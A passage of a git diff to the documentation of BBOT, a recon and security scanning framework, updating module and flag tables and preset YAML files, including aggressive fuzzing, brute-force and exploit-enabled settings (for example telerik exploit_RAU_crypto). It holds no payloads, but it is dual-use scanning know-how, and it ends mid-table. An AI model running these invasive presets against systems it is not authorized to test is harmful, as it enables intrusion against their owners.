paramminer_getparams, paramminer_headers | +| Event Type | # Consuming Modules | # Producing Modules | Consuming Modules | Producing Modules | +|---------------------|-----------------------|-----------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| +| * | 24 | 0 | affiliates, cloudcheck, csv, discord, dnsresolve, elastic, json, kafka, mongo, mysql, nats, neo4j, postgres, python, rabbitmq, slack, splunk, sqlite, stdout, teams, txt, webhook, websocket, zeromq | | +| ASN | 0 | 1 | | asn | +| AZURE_TENANT | 1 | 1 | speculate | azure_tenant | +| CODE_REPOSITORY | 8 | 8 | docker_pull, git_clone, gitdumper, github_workflows, google_playstore, postman_download, trajan, trufflehog | code_repository, dockerhub, git, github_codesearch, github_org, gitlab_com, gitlab_onprem, postman | +| DNS_NAME | 57 | 39 | anubisdb, asset_inventory, azure_tenant, baddns, baddns_zone, bevigil, bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_hetzner, bucket_microsoft, bufferoverrun, builtwith, c99, censys_dns, certspotter, chaos, credshed, crt, crt_db, dehashed, dnsbimi, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, emailformat, fullhunt, github_codesearch, github_usersearch, hackertarget, hunterio, leakix, myssl, nmap_xml, oauth, otx, pgp, portscan, rapiddns, securitytrails, securitytxt, shodan_dns, shodan_idb, skymem, speculate, subdomaincenter, subdomainradar, subdomains, trickest, urlscan, viewdns, virustotal, wayback | anubisdb, azure_tenant, bevigil, bufferoverrun, builtwith, c99, censys_dns, censys_ip, certspotter, chaos, crt, crt_db, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnsresolve, fullhunt, hackertarget, hunterio, leakix, myssl, ntlm, oauth, otx, rapiddns, securitytrails, shodan_dns, shodan_idb, speculate, sslcert, subdomaincenter, subdomainradar, trickest, urlscan, viewdns, virustotal, wayback | +| DNS_NAME_UNRESOLVED | 3 | 0 | baddns, speculate, subdomains | | +| EMAIL_ADDRESS | 1 | 11 | emails | credshed, dehashed, dnscaa, dnstlsrpt, emailformat, github_usersearch, hunterio, pgp, securitytxt, skymem, sslcert | +| FILESYSTEM | 4 | 9 | jadx, kreuzberg, trufflehog, unarchive | apkpure, docker_pull, filedownload, git_clone, gitdumper, github_workflows, jadx, postman_download, unarchive | +| FINDING | 2 | 37 | asset_inventory, web_report | ajaxpro, aspnet_bin_exposure, azure_tenant, baddns, baddns_direct, baddns_zone, badsecrets, bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_hetzner, bucket_microsoft, bypass403, dotnetnuke, generic_ssrf, git, gitlab_onprem, graphql_introspection, host_header, hunt, legba, lightfuzz, medusa, newsletters, ntlm, nuclei, reflected_parameters, retirejs, shodan_enterprise, shodan_idb, speculate, telerik, trajan, trufflehog, url_manipulation, wpscan | +| GEOLOCATION | 0 | 2 | | ip2location, ipstack | +| HASHED_PASSWORD | 0 | 2 | | credshed, dehashed | +| HTTP_RESPONSE | 19 | 1 | ajaxpro, asset_inventory, badsecrets, dotnetnuke, excavate, filedownload, gitlab_onprem, host_header, newsletters, nmap_xml, ntlm, paramminer_cookies, paramminer_getparams, paramminer_headers, speculate, sslcert, telerik, trufflehog, wpscan | http | +| IP_ADDRESS | 11 | 5 | asn, asset_inventory, censys_ip, ip2location, ipneighbor, ipstack, nmap_xml, portscan, shodan_enterprise, shodan_idb, speculate | asset_inventory, censys_ip, dnsresolve, ipneighbor, speculate | +| IP_RANGE | 2 | 0 | portscan, speculate | | +| MOBILE_APP | 1 | 1 | apkpure | google_playstore | +| OPEN_TCP_PORT | 5 | 6 | asset_inventory, fingerprintx, http, nmap_xml, portfilter | asset_inventory, censys_ip, portscan, shodan_enterprise, shodan_idb, speculate | +| OPEN_UDP_PORT | 0 | 2 | | censys_ip, shodan_enterprise | +| ORG_STUB | 4 | 1 | dockerhub, github_org, google_playstore, postman | speculate | +| PASSWORD | 0 | 2 | | credshed, dehashed | +| PROTOCOL | 3 | 2 | legba, medusa, nmap_xml | censys_ip, fingerprintx | +| RAW_DNS_RECORD | 0 | 3 | | dnsbimi, dnsresolve, dnstlsrpt | +| RAW_TEXT | 2 | 1 | excavate, trufflehog | kreuzberg | +| SOCIAL | 7 | 4 | dockerhub, github_org, gitlab_com, gitlab_onprem, gowitness, postman, speculate | dockerhub, github_usersearch, gitlab_onprem, social | +| STORAGE_BUCKET | 9 | 6 | baddns_direct, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_hetzner, bucket_microsoft, speculate | bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_hetzner, bucket_microsoft | +| TECHNOLOGY | 5 | 10 | asset_inventory, gitlab_onprem, trajan, web_report, wpscan | ajaxpro, badsecrets, censys_ip, dotnetnuke, gitlab_onprem, gowitness, nuclei, shodan_enterprise, shodan_idb, wpscan | +| URL | 22 | 2 | ajaxpro, aspnet_bin_exposure, asset_inventory, baddns_direct, bypass403, generic_ssrf, git, gowitness, graphql_introspection, http, iis_shortnames, lightfuzz, ntlm, nuclei, portfilter, robots, speculate, telerik, url_manipulation, wafw00f, web_report, webbrute | gowitness, http | +| URL_HINT | 1 | 1 | webbrute_shortnames | iis_shortnames | +| URL_UNVERIFIED | 9 | 20 | code_repository, filedownload, http, oauth, portfilter, retirejs, social, speculate, trajan | azure_tenant, bevigil, bucket_file_enum, censys_ip, dnsbimi, dnscaa, dnstlsrpt, dockerhub, excavate, fingerprintx, github_codesearch, gowitness, hunterio, robots, securitytxt, urlscan, wayback, webbrute, webbrute_shortnames, wpscan | +| USERNAME | 1 | 2 | speculate | credshed, dehashed | +| WAF | 1 | 1 | asset_inventory | wafw00f | +| WEBSCREENSHOT | 0 | 1 | | gowitness | +| WEB_PARAMETER | 7 | 4 | hunt, lightfuzz, paramminer_cookies, paramminer_getparams, paramminer_headers, reflected_parameters, web_parameters | excavate, paramminer_cookies, paramminer_getparams, paramminer_headers | ## Findings diff --git a/docs/scanning/index.md b/docs/scanning/index.md index 70ee5d179c..df69dcef90 100644 --- a/docs/scanning/index.md +++ b/docs/scanning/index.md @@ -54,8 +54,8 @@ To see a full list of modules and their descriptions, use `bbot -l` or see [List Modules are the part of BBOT that does the work -- port scanning, subdomain brute-forcing, API querying, etc. Modules consume [Events](events.md) (`IP_ADDRESS`, `DNS_NAME`, etc.) from each other, process the data in a useful way, then emit the results as new events. You can enable individual modules with `-m`. ```bash -# Enable modules: portscan, sslcert, and httpx -bbot -t www.evilcorp.com -m portscan sslcert httpx +# Enable modules: portscan, sslcert, and http +bbot -t www.evilcorp.com -m portscan sslcert http ``` ### Types of Modules @@ -63,7 +63,7 @@ bbot -t www.evilcorp.com -m portscan sslcert httpx Modules fall into three categories: - **Scan Modules**: - - These make up the majority of modules. Examples are `portscan`, `sslcert`, `httpx`, etc. Enable with `-m`. + - These make up the majority of modules. Examples are `portscan`, `sslcert`, `http`, etc. Enable with `-m`. - **Output Modules**: - These output scan data to different formats/destinations. `human`, `json`, and `csv` are enabled by default. Enable others with `-om`. (See: [Output](output.md)) - **Internal Modules**: @@ -112,30 +112,30 @@ A single module can have multiple flags. For example, the `securitytrails` modul ### List of Flags -| Flag | # Modules | Description | Modules | -|------------------|-------------|----------------------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| -| safe | 101 | Non-intrusive and non-destructive | affiliates, aggregate, ajaxpro, anubisdb, apkpure, asn, aspnet_bin_exposure, azure_tenant, baddns, baddns_direct, baddns_zone, badsecrets, bevigil, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_microsoft, bufferoverrun, builtwith, c99, censys_dns, censys_ip, certspotter, chaos, code_repository, credshed, crt, crt_db, dehashed, digitorus, dnsbimi, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, docker_pull, dockerhub, emailformat, emails, excavate, filedownload, fingerprintx, fullhunt, git, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, gitlab_com, gitlab_onprem, google_playstore, gowitness, graphql_introspection, hackertarget, httpx, hunt, hunterio, ip2location, ipstack, jadx, kreuzberg, leakix, myssl, newsletters, ntlm, oauth, otx, passivetotal, pgp, portfilter, postman, postman_download, rapiddns, reflected_parameters, retirejs, robots, securitytrails, securitytxt, shodan_dns, shodan_enterprise, shodan_idb, sitedossier, skymem, social, speculate, sslcert, subdomaincenter, subdomainradar, subdomains, trajan, trickest, trufflehog, unarchive, urlscan, viewdns, virustotal, wayback | -| passive | 71 | Never connects to target systems | affiliates, aggregate, anubisdb, apkpure, asn, azure_tenant, bevigil, bucket_file_enum, bufferoverrun, builtwith, c99, censys_dns, censys_ip, certspotter, chaos, code_repository, credshed, crt, crt_db, dehashed, digitorus, dnsbimi, dnscaa, dnsdumpster, dnstlsrpt, docker_pull, dockerhub, emailformat, excavate, fullhunt, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, google_playstore, hackertarget, hunterio, ip2location, ipneighbor, ipstack, jadx, kreuzberg, leakix, myssl, otx, passivetotal, pgp, portfilter, postman, postman_download, rapiddns, securitytrails, shodan_dns, shodan_enterprise, shodan_idb, sitedossier, skymem, social, speculate, subdomaincenter, subdomainradar, trajan, trickest, trufflehog, unarchive, urlscan, viewdns, virustotal, wayback | -| active | 50 | Makes active connections to target systems | ajaxpro, aspnet_bin_exposure, baddns, baddns_direct, baddns_zone, badsecrets, bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_microsoft, bypass403, dnsbrute, dnsbrute_mutations, dnscommonsrv, dotnetnuke, ffuf, ffuf_shortnames, filedownload, fingerprintx, git, gitlab_com, gitlab_onprem, gowitness, graphql_introspection, host_header, httpx, hunt, iis_shortnames, legba, lightfuzz, medusa, newsletters, ntlm, nuclei, oauth, paramminer_cookies, paramminer_getparams, paramminer_headers, portscan, reflected_parameters, retirejs, robots, securitytxt, smuggler, sslcert, telerik, url_manipulation, wafw00f, wpscan | -| subdomain-enum | 50 | Enumerates subdomains | anubisdb, asn, azure_tenant, baddns_direct, baddns_zone, bevigil, bufferoverrun, builtwith, c99, censys_dns, certspotter, chaos, crt, crt_db, digitorus, dnsbimi, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, fullhunt, github_codesearch, github_org, hackertarget, httpx, hunterio, ipneighbor, leakix, myssl, oauth, otx, passivetotal, postman, postman_download, rapiddns, securitytrails, securitytxt, shodan_dns, shodan_idb, sitedossier, sslcert, subdomaincenter, subdomainradar, subdomains, trickest, urlscan, virustotal, wayback | -| loud | 22 | Generates a large amount of network traffic | bypass403, dnsbrute, dnsbrute_mutations, dotnetnuke, ffuf, ffuf_shortnames, host_header, iis_shortnames, ipneighbor, legba, lightfuzz, medusa, nuclei, paramminer_cookies, paramminer_getparams, paramminer_headers, portscan, smuggler, telerik, url_manipulation, wafw00f, wpscan | -| code-enum | 19 | Find public code repositories and search them for secrets etc. | apkpure, code_repository, docker_pull, dockerhub, git, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, gitlab_com, gitlab_onprem, google_playstore, jadx, postman, postman_download, trajan, trufflehog | -| web | 16 | Non-intrusive web scan functionality | baddns, badsecrets, bucket_amazon, bucket_firebase, bucket_google, bucket_microsoft, filedownload, git, graphql_introspection, httpx, iis_shortnames, ntlm, oauth, robots, securitytxt, sslcert | -| cloud-enum | 15 | Enumerates cloud resources | azure_tenant, baddns, baddns_direct, baddns_zone, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_microsoft, dnsbimi, dnstlsrpt, httpx, oauth, securitytxt | -| web-heavy | 14 | More advanced web scanning functionality | ajaxpro, aspnet_bin_exposure, bucket_digitalocean, bypass403, dotnetnuke, ffuf_shortnames, host_header, hunt, lightfuzz, reflected_parameters, retirejs, smuggler, telerik, url_manipulation | -| slow | 10 | May take a long time to complete | bucket_digitalocean, dnsbrute_mutations, docker_pull, fingerprintx, git_clone, gitdumper, paramminer_cookies, paramminer_getparams, paramminer_headers, smuggler | -| email-enum | 9 | Enumerates email addresses | dehashed, dnscaa, dnstlsrpt, emailformat, emails, hunterio, pgp, skymem, sslcert | -| affiliates | 7 | Discovers affiliated hostnames/domains | affiliates, azure_tenant, builtwith, oauth, sslcert, trickest, viewdns | -| download | 7 | Modules that download files, apps, or repositories | apkpure, docker_pull, filedownload, git_clone, gitdumper, github_workflows, postman_download | -| invasive | 7 | Intrusive or potentially destructive | dotnetnuke, legba, lightfuzz, medusa, nuclei, smuggler, telerik | -| baddns | 3 | Runs all modules from the DNS auditing tool BadDNS | baddns, baddns_direct, baddns_zone | -| web-paramminer | 3 | Discovers HTTP parameters through brute-force | paramminer_cookies, paramminer_getparams, paramminer_headers | -| iis-shortnames | 2 | Scans for IIS Shortname vulnerability | ffuf_shortnames, iis_shortnames | -| portscan | 2 | Discovers open ports | portscan, shodan_idb | -| social-enum | 2 | Enumerates social media | httpx, social | -| service-enum | 1 | Identifies protocols running on open ports | fingerprintx | -| subdomain-hijack | 1 | Detects hijackable subdomains | baddns | -| web-screenshots | 1 | Takes screenshots of web pages | gowitness | +| Flag | # Modules | Description | Modules | +|------------------|-------------|----------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| +| safe | 99 | Non-intrusive and non-destructive | affiliates, aggregate, ajaxpro, anubisdb, apkpure, asn, aspnet_bin_exposure, azure_tenant, baddns, baddns_direct, baddns_zone, badsecrets, bevigil, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_hetzner, bucket_microsoft, bufferoverrun, builtwith, c99, censys_dns, censys_ip, certspotter, chaos, code_repository, credshed, crt, crt_db, dehashed, dnsbimi, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, docker_pull, dockerhub, emailformat, emails, excavate, filedownload, fingerprintx, fullhunt, git, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, gitlab_com, gitlab_onprem, google_playstore, gowitness, graphql_introspection, hackertarget, http, hunt, hunterio, ip2location, ipstack, jadx, kreuzberg, leakix, myssl, newsletters, ntlm, oauth, otx, pgp, portfilter, postman, postman_download, rapiddns, reflected_parameters, retirejs, robots, securitytrails, securitytxt, shodan_dns, shodan_enterprise, shodan_idb, skymem, social, speculate, sslcert, subdomaincenter, subdomainradar, subdomains, trajan, trickest, trufflehog, unarchive, urlscan, viewdns, virustotal, wayback | +| passive | 68 | Never connects to target systems | affiliates, aggregate, anubisdb, apkpure, asn, azure_tenant, bevigil, bucket_file_enum, bufferoverrun, builtwith, c99, censys_dns, censys_ip, certspotter, chaos, code_repository, credshed, crt, crt_db, dehashed, dnsbimi, dnscaa, dnsdumpster, dnstlsrpt, docker_pull, dockerhub, emailformat, excavate, fullhunt, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, google_playstore, hackertarget, hunterio, ip2location, ipneighbor, ipstack, jadx, kreuzberg, leakix, myssl, otx, pgp, portfilter, postman, postman_download, rapiddns, securitytrails, shodan_dns, shodan_enterprise, shodan_idb, skymem, social, speculate, subdomaincenter, subdomainradar, trajan, trickest, trufflehog, unarchive, urlscan, viewdns, virustotal, wayback | +| active | 51 | Makes active connections to target systems | ajaxpro, aspnet_bin_exposure, baddns, baddns_direct, baddns_zone, badsecrets, bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_hetzner, bucket_microsoft, bypass403, dnsbrute, dnsbrute_mutations, dnscommonsrv, dotnetnuke, filedownload, fingerprintx, generic_ssrf, git, gitlab_com, gitlab_onprem, gowitness, graphql_introspection, host_header, http, hunt, iis_shortnames, legba, lightfuzz, medusa, newsletters, ntlm, nuclei, oauth, paramminer_cookies, paramminer_getparams, paramminer_headers, portscan, reflected_parameters, retirejs, robots, securitytxt, sslcert, telerik, url_manipulation, wafw00f, webbrute, webbrute_shortnames, wpscan | +| subdomain-enum | 47 | Enumerates subdomains | anubisdb, asn, azure_tenant, baddns_direct, baddns_zone, bevigil, bufferoverrun, builtwith, c99, censys_dns, certspotter, chaos, crt, crt_db, dnsbimi, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, fullhunt, github_codesearch, github_org, hackertarget, http, hunterio, ipneighbor, leakix, myssl, oauth, otx, postman, postman_download, rapiddns, securitytrails, securitytxt, shodan_dns, shodan_idb, sslcert, subdomaincenter, subdomainradar, subdomains, trickest, urlscan, virustotal, wayback | +| loud | 21 | Generates a large amount of network traffic | bypass403, dnsbrute, dnsbrute_mutations, dotnetnuke, host_header, iis_shortnames, ipneighbor, legba, lightfuzz, medusa, nuclei, paramminer_cookies, paramminer_getparams, paramminer_headers, portscan, telerik, url_manipulation, wafw00f, webbrute, webbrute_shortnames, wpscan | +| code-enum | 19 | Find public code repositories and search them for secrets etc. | apkpure, code_repository, docker_pull, dockerhub, git, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, gitlab_com, gitlab_onprem, google_playstore, jadx, postman, postman_download, trajan, trufflehog | +| cloud-enum | 16 | Enumerates cloud resources | azure_tenant, baddns, baddns_direct, baddns_zone, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_hetzner, bucket_microsoft, dnsbimi, dnstlsrpt, http, oauth, securitytxt | +| web | 16 | Non-intrusive web scan functionality | baddns, badsecrets, bucket_amazon, bucket_firebase, bucket_google, bucket_microsoft, filedownload, git, graphql_introspection, http, iis_shortnames, ntlm, oauth, robots, securitytxt, sslcert | +| web-heavy | 15 | More advanced web scanning functionality | ajaxpro, aspnet_bin_exposure, bucket_digitalocean, bucket_hetzner, bypass403, dotnetnuke, generic_ssrf, host_header, hunt, lightfuzz, reflected_parameters, retirejs, telerik, url_manipulation, webbrute_shortnames | +| slow | 10 | May take a long time to complete | bucket_digitalocean, bucket_hetzner, dnsbrute_mutations, docker_pull, fingerprintx, git_clone, gitdumper, paramminer_cookies, paramminer_getparams, paramminer_headers | +| email-enum | 9 | Enumerates email addresses | dehashed, dnscaa, dnstlsrpt, emailformat, emails, hunterio, pgp, skymem, sslcert | +| affiliates | 7 | Discovers affiliated hostnames/domains | affiliates, azure_tenant, builtwith, oauth, sslcert, trickest, viewdns | +| download | 7 | Modules that download files, apps, or repositories | apkpure, docker_pull, filedownload, git_clone, gitdumper, github_workflows, postman_download | +| invasive | 7 | Intrusive or potentially destructive | dotnetnuke, generic_ssrf, legba, lightfuzz, medusa, nuclei, telerik | +| baddns | 3 | Runs all modules from the DNS auditing tool BadDNS | baddns, baddns_direct, baddns_zone | +| web-paramminer | 3 | Discovers HTTP parameters through brute-force | paramminer_cookies, paramminer_getparams, paramminer_headers | +| iis-shortnames | 2 | Scans for IIS Shortname vulnerability | iis_shortnames, webbrute_shortnames | +| portscan | 2 | Discovers open ports | portscan, shodan_idb | +| social-enum | 2 | Enumerates social media | http, social | +| service-enum | 1 | Identifies protocols running on open ports | fingerprintx | +| subdomain-hijack | 1 | Detects hijackable subdomains | baddns | +| web-screenshots | 1 | Takes screenshots of web pages | gowitness | ## Dependencies @@ -232,7 +232,7 @@ Similar to targets, blacklists can be specified in your preset. The `spider` pre description: Recursive web spider modules: - - httpx + - http blacklist: # Prevent spider from invalidating sessions by logging out diff --git a/docs/scanning/presets.md b/docs/scanning/presets.md index dd176ede2f..76e0514d68 100644 --- a/docs/scanning/presets.md +++ b/docs/scanning/presets.md @@ -172,16 +172,16 @@ conditions: ``` ```yaml title="my_preset.yml" -description: Enable ffuf but only when the web spider isn't also enabled +description: Enable webbrute but only when the web spider isn't also enabled modules: - - ffuf + - webbrute conditions: - | {% if config.web.spider_distance > 0 and config.web.spider_depth > 0 %} - {{ warn("Disabling ffuf because the web spider is enabled") }} - {{ preset.exclude_module("ffuf") }} + {{ warn("Disabling webbrute because the web spider is enabled") }} + {{ preset.exclude_module("webbrute") }} {% endif %} ``` diff --git a/docs/scanning/presets_list.md b/docs/scanning/presets_list.md index 354aac1728..6ad19096f9 100644 --- a/docs/scanning/presets_list.md +++ b/docs/scanning/presets_list.md @@ -107,16 +107,16 @@ Recursive web directory brute-force (aggressive) - iis-shortnames modules: - - ffuf + - webbrute - wayback config: modules: iis_shortnames: - # we exploit the shortnames vulnerability to produce URL_HINTs which are consumed by ffuf_shortnames + # we exploit the shortnames vulnerability to produce URL_HINTs which are consumed by webbrute_shortnames detect_only: False - ffuf: - depth: 3 + webbrute: + max_depth: 3 lines: 5000 extensions: - php @@ -155,11 +155,11 @@ Basic web directory brute-force (surface-level directories only) - iis-shortnames modules: - - ffuf + - webbrute config: modules: - ffuf: + webbrute: # wordlist size = 1000 lines: 1000 ``` @@ -181,10 +181,10 @@ Comprehensive scan for all IIS/.NET specific modules and module settings - iis-shortnames modules: - - httpx + - http - badsecrets - - ffuf_shortnames - - ffuf + - webbrute_shortnames + - webbrute - telerik - ajaxpro - dotnetnuke @@ -192,10 +192,10 @@ Comprehensive scan for all IIS/.NET specific modules and module settings config: modules: - ffuf: + webbrute: extensions: asp,aspx,ashx,asmx,ascx - extensions_ignore_case: True - ffuf_shortnames: + ignore_case: True + webbrute_shortnames: find_subwords: True telerik: exploit_RAU_crypto: True @@ -294,6 +294,13 @@ Everything everywhere all at once - dirbust-light - web-screenshots - baddns-heavy + + config: + modules: + dnsbrute: + recursive_mutations: true + dnscommonsrv: + recursive_mutations: true ``` @@ -366,7 +373,7 @@ Minimal fuzzing: only path traversal, SQLi, and XSS submodules. No POST requests description: "Minimal fuzzing: only path traversal, SQLi, and XSS submodules. No POST requests. No companion modules. Safest option for running alongside larger scans with minimal overhead." modules: - - httpx + - http - lightfuzz - portfilter @@ -392,14 +399,15 @@ Modules: [0]("") ## **lightfuzz-max** -Maximum fuzzing: everything in lightfuzz-heavy, plus WAF targets are no longer skipped, each unique parameter-value pair is fuzzed individually (no collapsing), common headers like X-Forwarded-For are fuzzed even if not observed, and potential parameters are speculated from JSON/XML response bodies. Significantly increases scan time. +Maximum fuzzing: everything in lightfuzz-heavy, plus the heavy paramminer variant (1-3 letter brute-force on GET params, case mutation on case-sensitive backends, recycle_words on all paramminer modules), WAF targets are no longer skipped, each unique parameter-value pair is fuzzed individually (no collapsing), common headers like X-Forwarded-For are fuzzed even if not observed, and potential parameters are speculated from JSON/XML response bodies. Significantly increases scan time. ??? note "`lightfuzz-max.yml`" ```yaml title="~/.bbot/presets/web/lightfuzz-max.yml" - description: "Maximum fuzzing: everything in lightfuzz-heavy, plus WAF targets are no longer skipped, each unique parameter-value pair is fuzzed individually (no collapsing), common headers like X-Forwarded-For are fuzzed even if not observed, and potential parameters are speculated from JSON/XML response bodies. Significantly increases scan time." + description: "Maximum fuzzing: everything in lightfuzz-heavy, plus the heavy paramminer variant (1-3 letter brute-force on GET params, case mutation on case-sensitive backends, recycle_words on all paramminer modules), WAF targets are no longer skipped, each unique parameter-value pair is fuzzed individually (no collapsing), common headers like X-Forwarded-For are fuzzed even if not observed, and potential parameters are speculated from JSON/XML response bodies. Significantly increases scan time." include: - lightfuzz-heavy + - paramminer-heavy config: url_querystring_collapse: False # in cases where the same parameter is observed multiple times, fuzz them individually instead of collapsing them into a single parameter @@ -425,7 +433,7 @@ XSS-only: enables only the xss submodule with paramminer_getparams and reflected description: "XSS-only: enables only the xss submodule with paramminer_getparams and reflected_parameters. POST disabled, no query string collapsing. Example of a focused single-submodule preset." modules: - - httpx + - http - lightfuzz - paramminer_getparams - reflected_parameters @@ -459,7 +467,7 @@ Run nuclei scans against all discovered targets description: Run nuclei scans against all discovered targets modules: - - httpx + - http - nuclei - portfilter @@ -505,7 +513,7 @@ Run nuclei scans against all discovered targets, using budget mode to look for l description: Run nuclei scans against all discovered targets, using budget mode to look for low hanging fruit with greatly reduced number of requests modules: - - httpx + - http - nuclei - portfilter @@ -536,7 +544,7 @@ Run nuclei scans against all discovered targets, allowing for spidering, against description: Run nuclei scans against all discovered targets, allowing for spidering, against ALL URLs, and with additional discovery modules. modules: - - httpx + - http - nuclei - robots - urlscan @@ -576,7 +584,7 @@ Run nuclei scans against all discovered targets, running templates which match d description: Run nuclei scans against all discovered targets, running templates which match discovered technologies modules: - - httpx + - http - nuclei - portfilter @@ -614,7 +622,7 @@ Discover new web parameters via brute-force, and analyze them with additional mo - web-paramminer modules: - - httpx + - http - reflected_parameters - hunt @@ -629,6 +637,33 @@ Category: web Modules: [0]("") +## **paramminer-heavy** + +Aggressive paramminer brute-force: enables 1-3 letter combination brute-force on GET parameters and case mutation (camelCase / Title-case variants) on case-sensitive backends. Significantly increases scan time. + +??? note "`paramminer-heavy.yml`" + ```yaml title="~/.bbot/presets/web/paramminer-heavy.yml" + description: "Aggressive paramminer brute-force: enables 1-3 letter combination brute-force on GET parameters and case mutation (camelCase / Title-case variants) on case-sensitive backends. Significantly increases scan time." + + include: + - paramminer + + config: + modules: + paramminer_getparams: + brute_short: True + mutate_case: True + recycle_words: True + paramminer_headers: + recycle_words: True + paramminer_cookies: + recycle_words: True + ``` + +Category: web + +Modules: [0]("") + ## **spider** Recursive web spider @@ -638,7 +673,7 @@ Recursive web spider description: Recursive web spider modules: - - httpx + - http blacklist: # Prevent spider from invalidating sessions by logging out @@ -737,6 +772,31 @@ Detect technologies via Nuclei, and FingerprintX +Modules: [0]("") + +## **test** + +Detect technologies via Nuclei, and FingerprintX + +??? note "`test.yml`" + ```yaml title="~/.bbot/presets/test.yml" + description: Detect technologies via Nuclei, and FingerprintX + + modules: + - nuclei + - fingerprintx + + target: + - tesasdft.txt + + config: + modules: + nuclei: + tags: tech + ``` + + + Modules: [0]("") ## **web** @@ -810,34 +870,36 @@ Modules: [0]("") Here is a the same data, but in a table: -| Preset | Category | Description | # Modules | Modules | -|-------------------|------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-------------|---------------------------------------------------------------------------------------------| -| baddns | | Check for subdomain takeovers and other DNS issues. | 1 | baddns | -| baddns-heavy | | Run all baddns modules and submodules. | 3 | baddns, baddns_direct, baddns_zone | -| cloud-enum | | Enumerate cloud resources such as storage buckets, etc. | 0 | | -| code-enum | | Enumerate Git repositories, Docker images, etc. | 0 | | -| dirbust-heavy | web | Recursive web directory brute-force (aggressive) | 3 | ffuf, httpx, wayback | -| dirbust-light | web | Basic web directory brute-force (surface-level directories only) | 1 | ffuf | -| dotnet-audit | web | Comprehensive scan for all IIS/.NET specific modules and module settings | 8 | ajaxpro, aspnet_bin_exposure, badsecrets, dotnetnuke, ffuf, ffuf_shortnames, httpx, telerik | -| email-enum | | Enumerate email addresses from APIs, web crawling, etc. | 0 | | -| fast | | Scan only the provided targets as fast as possible - no extra discovery | 0 | | -| iis-shortnames | web | Recursively enumerate IIS shortnames | 0 | | -| kitchen-sink | | Everything everywhere all at once | 7 | baddns, baddns_direct, baddns_zone, ffuf, httpx, hunt, reflected_parameters | -| lightfuzz | web | Default fuzzing: all 9 submodules (cmdi, crypto, path, serial, sqli, ssti, xss, esi, ssrf) plus companion modules (badsecrets, hunt, reflected_parameters). POST fuzzing disabled but try_post_as_get enabled, so POST params are retested as GET. Skips confirmed WAFs. | 6 | badsecrets, httpx, hunt, lightfuzz, portfilter, reflected_parameters | -| lightfuzz-heavy | web | Aggressive fuzzing: everything in lightfuzz, plus paramminer brute-force parameter discovery (headers, GET params, cookies), POST request fuzzing enabled, try_get_as_post enabled (GET params retested as POST), and robots.txt parsing. Still skips confirmed WAFs. | 7 | badsecrets, httpx, hunt, lightfuzz, portfilter, reflected_parameters, robots | -| lightfuzz-light | web | Minimal fuzzing: only path traversal, SQLi, and XSS submodules. No POST requests. No companion modules. Safest option for running alongside larger scans with minimal overhead. | 3 | httpx, lightfuzz, portfilter | -| lightfuzz-max | web | Maximum fuzzing: everything in lightfuzz-heavy, plus WAF targets are no longer skipped, each unique parameter-value pair is fuzzed individually (no collapsing), common headers like X-Forwarded-For are fuzzed even if not observed, and potential parameters are speculated from JSON/XML response bodies. Significantly increases scan time. | 7 | badsecrets, httpx, hunt, lightfuzz, portfilter, reflected_parameters, robots | -| lightfuzz-xss | web | XSS-only: enables only the xss submodule with paramminer_getparams and reflected_parameters. POST disabled, no query string collapsing. Example of a focused single-submodule preset. | 5 | httpx, lightfuzz, paramminer_getparams, portfilter, reflected_parameters | -| nuclei | nuclei | Run nuclei scans against all discovered targets | 3 | httpx, nuclei, portfilter | -| nuclei-budget | nuclei | Run nuclei scans against all discovered targets, using budget mode to look for low hanging fruit with greatly reduced number of requests | 3 | httpx, nuclei, portfilter | -| nuclei-heavy | nuclei | Run nuclei scans against all discovered targets, allowing for spidering, against ALL URLs, and with additional discovery modules. | 6 | httpx, nuclei, 